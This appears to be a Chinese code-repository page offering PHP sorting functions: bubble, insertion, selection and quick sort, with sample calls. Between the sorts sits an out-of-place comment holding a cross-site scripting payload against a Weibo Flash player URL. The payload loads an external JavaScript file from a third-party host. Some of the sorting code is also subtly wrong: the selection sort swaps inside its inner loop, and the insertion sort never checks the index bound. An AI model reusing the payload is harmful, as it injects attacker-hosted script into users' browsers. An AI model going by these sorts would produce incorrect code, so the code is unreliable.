首页 > 代码库 > php 实现常用算法
php 实现常用算法
//冒泡排序 从小到大对一组数排序 function mp($array){ $count = count($array); if ($count <= 0) return false; for($i=0; $i<$count; $i++) { for($k=$count-1; $k>$i; $k--) { if($array[$k] < $array[$k-1]) { $tmp = $array[$k]; $array[$k] = $array[$k-1]; $array[$k-1] = $tmp; } } echo $i,"<br/>"; } return $array; } print_r(mp(array(1,3,5,32,756,2,6,4))); echo "<br/>";
//插入排序 每次将一个待排序的数据元素插入到一个已经排好序的序列中。 function insert_sort($arr){ $count = count($arr); for($i=1; $i<$count; $i++){ $tmp = $arr[$i]; $j = $i - 1; while($arr[$j] > $tmp){ $arr[$j+1] = $arr[$j]; $arr[$j] = $tmp; $j--; } } return $arr; } echo "<br/>"; print_r(insert_sort(array(3,34,23,45,56,4,65,12))) ; //http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href=‘javascript:"<script/src=http://www.mamicode.com/‘//appmaker.sinaapp.com/test3.js/‘></script>"‘}) //选择排序 每次从待排序的数据元素中选出最小或最大的那个元素,放在已经排好序的序列的后边 function select_sort($arr){ $count = count($arr); for($i=0; $i<$count; $i++){ $k = $i; for($j=$i+1; $j<$count; $j++){ if ($arr[$k] > $arr[$j]) $k = $j; if ($k != $i){ $tmp = $arr[$i]; $arr[$i] = $arr[$k]; $arr[$k] = $tmp; } } } return $arr; } function selection_sort($array){ $count = count($array); for ($i=0;$i<$count-1;$i++) { /* find the minest */ $min = $i; echo ‘$min-->‘.$array[$min].‘-->‘; for ($j=$i+1;$j<$count;$j++) { //由小到大排列 if ($array[$min]>$array[$j]) { //表明当前最小的还比当前的元素大 $min = $j; //赋值新的最小的 } } echo $array[$min].‘coco<br/>‘; /* swap $array[$i] and $array[$min] 即将当前内循环的最小元素放在$i位置上*/ if($min!=$i) { $temp = $array[$min]; $array[$min] = $array[$i]; $array[$i] = $temp; } } return $array; } echo "<br/>"; print_r(select_sort(array(3,34,23,45,56,4,65,12,99))); //快速排序 function quick_sort($array){ if (count($array) <= 1) return $array; $key = $array[0]; $left_arr = array(); $right_arr = array(); for ($i=1; $i<count($array); $i++){ if ($array[$i] <= $key) $left_arr[] = $array[$i]; else $right_arr[] = $array[$i]; } $left_arr = quick_sort($left_arr); $right_arr = quick_sort($right_arr); return array_merge($left_arr, array($key), $right_arr); }
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。